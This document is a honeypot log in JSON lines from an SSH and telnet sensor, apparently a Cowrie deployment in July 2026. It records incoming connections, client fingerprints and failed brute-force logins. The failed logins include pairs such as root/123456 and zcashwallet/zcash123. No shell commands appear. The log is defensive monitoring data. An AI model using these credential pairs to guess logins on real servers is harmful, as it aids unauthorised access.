{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:43.906375Z","src_ip":"91.92.40.4","session":"3f5b19360814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:43.987063Z","src_ip":"91.92.40.4","session":"3f5b19360814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r","message":"login attempt [test/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:44.236498Z","src_ip":"91.92.40.4","session":"3f5b19360814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:45.319966Z","src_ip":"91.92.40.4","session":"3f5b19360814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00254678726196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:46.942459Z","src_ip":"170.64.224.25","session":"0267b9d979df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.174808740615845,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:25.267360Z","src_ip":"170.64.224.25","session":"7464149810d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":42834,"dst_ip":"10.17.0.5","dst_port":22,"session":"dafed8faa2c3","protocol":"ssh","message":"New connection: 132.148.142.226:42834 (10.17.0.5:22) [session: dafed8faa2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:28.848810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:28.852459Z","src_ip":"132.148.142.226","session":"dafed8faa2c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:28.917593Z","src_ip":"132.148.142.226","session":"dafed8faa2c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zcashwallet","password":"zcash123","message":"login attempt [zcashwallet/zcash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:29.139881Z","src_ip":"132.148.142.226","session":"dafed8faa2c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":60636,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a77e7f32713","protocol":"ssh","message":"New connection: 143.20.185.207:60636 (10.17.0.5:22) [session: 7a77e7f32713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:29.975474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:29.979677Z","src_ip":"143.20.185.207","session":"7a77e7f32713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:30.093944Z","src_ip":"143.20.185.207","session":"7a77e7f32713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:30.206233Z","src_ip":"132.148.142.226","session":"dafed8faa2c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#8VCPU32GBAMD","message":"login attempt [root/RASYAXINSAVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:30.601477Z","src_ip":"143.20.185.207","session":"7a77e7f32713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:31.721246Z","src_ip":"143.20.185.207","session":"7a77e7f32713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e3983d5f65b","protocol":"ssh","message":"New connection: 85.215.121.209:49312 (10.17.0.5:22) [session: 6e3983d5f65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:34.529505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:34.532950Z","src_ip":"85.215.121.209","session":"6e3983d5f65b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:34.623141Z","src_ip":"85.215.121.209","session":"6e3983d5f65b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"riga_latvia","password":"riga123","message":"login attempt [riga_latvia/riga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:34.895321Z","src_ip":"85.215.121.209","session":"6e3983d5f65b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:35.989044Z","src_ip":"85.215.121.209","session":"6e3983d5f65b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49170,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e9ecd23a0f3","protocol":"telnet","message":"New connection: 170.64.224.25:49170 (159.203.135.109:23) [session: 5e9ecd23a0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:39.555968Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ab8173c916","protocol":"ssh","message":"New connection: 80.94.92.55:37154 (10.17.0.5:22) [session: e5ab8173c916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:48.316781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:48.921288Z","src_ip":"80.94.92.55","session":"e5ab8173c916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:48.925737Z","src_ip":"80.94.92.55","session":"e5ab8173c916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:55.037525Z","src_ip":"80.94.92.55","session":"e5ab8173c916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:57:56.812137Z","src_ip":"80.94.92.55","session":"e5ab8173c916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":54219,"dst_ip":"159.203.135.109","dst_port":22,"session":"83b6a743d0d4","protocol":"ssh","message":"New connection: 181.116.220.251:54219 (159.203.135.109:22) [session: 83b6a743d0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:02.480270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:02.483347Z","src_ip":"181.116.220.251","session":"83b6a743d0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:02.653648Z","src_ip":"181.116.220.251","session":"83b6a743d0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1234567","message":"login attempt [guest/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:03.350902Z","src_ip":"181.116.220.251","session":"83b6a743d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:04.519030Z","src_ip":"181.116.220.251","session":"83b6a743d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":48256,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9cb9361cbc5","protocol":"ssh","message":"New connection: 159.65.58.200:48256 (159.203.135.109:22) [session: b9cb9361cbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:09.596802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:09.809571Z","src_ip":"159.65.58.200","session":"b9cb9361cbc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:09.811982Z","src_ip":"159.65.58.200","session":"b9cb9361cbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"slava","password":"123456","message":"login attempt [slava/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:11.099874Z","src_ip":"159.65.58.200","session":"b9cb9361cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:12.326168Z","src_ip":"159.65.58.200","session":"b9cb9361cbc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59260,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eb29b3bcc5e","protocol":"ssh","message":"New connection: 103.15.222.183:59260 (10.17.0.5:22) [session: 8eb29b3bcc5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:26.305481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:26.309075Z","src_ip":"103.15.222.183","session":"8eb29b3bcc5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:26.539115Z","src_ip":"103.15.222.183","session":"8eb29b3bcc5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahmadiev1992","message":"login attempt [root/ahmadiev1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:27.245853Z","src_ip":"103.15.222.183","session":"8eb29b3bcc5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:28.479502Z","src_ip":"103.15.222.183","session":"8eb29b3bcc5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":52174,"dst_ip":"10.17.0.5","dst_port":22,"session":"47679d3dab93","protocol":"ssh","message":"New connection: 38.242.143.220:52174 (10.17.0.5:22) [session: 47679d3dab93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:34.896052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:58:34.899468Z","src_ip":"38.242.143.220","session":"47679d3dab93","protocol":"ssh"}
